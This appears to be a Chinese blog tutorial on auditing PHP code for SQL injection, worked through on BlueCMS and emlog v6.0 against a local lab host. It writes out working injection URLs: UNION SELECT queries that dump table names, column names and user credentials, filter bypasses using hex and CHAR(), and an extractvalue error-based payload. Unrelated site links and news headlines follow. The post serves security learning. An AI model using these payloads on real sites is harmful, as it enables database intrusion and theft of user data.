当前位置: 首页 > news >正文

代码审计入门 原生态sql注入篇

前置知识:

漏洞形成的原因:

1、可控的参数 2、函数缺陷

代码审计的步骤:

1、全局使用正则搜索 漏洞函数 ,然后根据函数看变量是否可控,再看函数是否有过滤

2、根据web的功能点寻找函数,然后根据函数看变量是否可控,再看函数是否有过滤

sql注入代码前置知识

代码常见语句

-功能追踪-功能点文件SQL执行代码函数调用链追踪

-根据代码搜索-正则搜索-(update|select|insert|delete|).*?where.*=

(update|select|insert|delete|).*?where.*=

案例一:bluecms

案例使用的web全是纯手搓的项目 使用思路 1 先使用正则表达式 去查找对应的函数(代码审计就是 寻函数找方法)

全局使用正则去搜索

使用正则搜索的时候 发现这些有个目录的路径 : 我们需要看一下这些目录的作用 (可以查看里面的内容  或者是按照这个英文单词翻译)

那我们不需要找这些  admin 目录下的(影响比较鸡肋  后台内的sql注入需要有后台的权限)

挨个分析 一下  看看有没有过滤什么的

为了便于分析

加一个输出语句

找到漏洞语句 之后就看有没有回显

发现是有回显的  

但是下边有一个

if($ad['time_set'] == 0)  //如果广告设置了 ==0 表示永远有效
{$ad_content = $ad['content'];
}
else   // 否则 如果广告小于 广告商给的时间  就下架
{if($ad['end_time'] < time()){$ad_content = $ad['exp_content'];}else{$ad_content = $ad['content'];        //否则就显示内容}
}

这个进行搜索一下这个就是广告逻辑  设置广告 这个页面呢可能就是广告商页面  上边的参数可能就是从数据库中 找哪个广告

$ad_content = str_replace('"', '\"',$ad_content);  //对内容进行过滤  如果内容中有这些符号就会被替换
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";  // 输出内容  但是这个现实呢 是进行html注释的内容

这个思路就是根据代码函数找缺陷然后找到功能点的web页面

这个 ad_id 就是注入点

使用192.168.21.12:70/ad_js.php?ad_id=1 order by 7

进行产看是有 7个 查询列的  查看回显的时候要查看源代码

http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();%20%23

有个小过滤

就是会过滤我们的 ''  ""  导致 where=""  失效  绕过手段

sql注入中字符串 "" 被过滤:

1、进行16进制编码

view-source:http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626C75655F75736572%23

2、使用 char 进行拼接  char可以把ascii码转为字符串 blue_user 拼接 

CHAR(98,108,117,101,95,117,115,101,114)    b的ascii就是 98 
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=CHAR(98,108,117,101,95,117,115,101,114)%23
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,user_id,user_name%20from%20blue_user

案例二 : emlog v6.0版

这个的sql注入点在 后台 

(update|select|insert|delete|).*?where.*=
正则搜索一下

数据库监听脚本工具的使用

它的作用就是 可以监听我们进行访问web页面时触发的sql语句

基本使用

github上搜索 :MySQL-Monitor-master

在这个config下有泄露

玩法 : 访问后台

就三个语句

分析一下可能 这个就是查找用户的  所以我们根据这个功能 锁定一下代码

还有一层判断逻辑

$sql = "SELECT DISTINCT gid FROM ".DB_PREFIX."comment WHERE ip='$ip'";$ip = 1' and 1=1%23

http://192.168.21.12:70/admin/comment.php?action=delbyip&ip=1%27%20and%201=1%23

这个的验证

取一下token

http://192.168.21.12:70/admin/comment.php?action=delbyip&token=7371404e1fba139c96aa07029178fe70 and ip=1' order by 5%23是吧这个其实是不对的  需要把 token 放到后边的话需要进行  拼接   http://192.168.21.12:70/admin/comment.php?action=delby and ip=1' order by 5--+&token=7371404e1fba139c96aa07029178fe70--+ 拼接

?action=delbyip&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+&token=7371404e1fba139c96aa07029178fe70extractvalue  :  执行xml语句使用xml的形式就是为了让他报错回显

相关文章:

  • 事件冒泡与捕获
  • LeetCode 438 找到字符串中所有字母异位词
  • C语言学习之预处理指令
  • 定制一款国密浏览器(9):SM4 对称加密算法
  • 微信小程序 时间戳与日期格式的转换
  • 今天分享一个网店客服回复数据集-用于网点客服AI助手自动回复智能体训练
  • 下采样(Downsampling)
  • python文件处理自用
  • 【PCIE配置空间】
  • 软件中的保护锁在工程项目中的应用
  • C算术运算符 printf输出格式 字符指针打印输出 使用scanf函数进行输入
  • MCGS昆仑通太屏笔记
  • 【mongodb】数据库操作
  • OSI七层网络模型详解
  • 【MySQL】MySQL建立索引不知道注意什么?
  • OpenStack Yoga版安装笔记(23)Swift安装
  • 六边形棋盘格(Hexagonal Grids)的坐标
  • OPC_KEPServerEX 6 安装与授权
  • 【KWDB 创作者计划】_上位机知识篇---Docker容器
  • 提升电脑性能!Windows超级管理器,免费使用,功能全面!
  • 人民日报和音:书写周边命运共同体建设新篇章
  • 精细喂养、富养宠物,宠物经济掀起新浪潮|私家周历
  • 重庆警方通报“货车轮胎滚进服务区致人死亡”:正进一步调查
  • 马上评丨“化学麻将”创新值得点赞,但要慎言推广
  • 伊朗外交部:美矛盾立场被视为缺乏谈判的严肃性和诚意
  • 国家统计局:民营经济展现出强大的创新活力、潜力和市场竞争力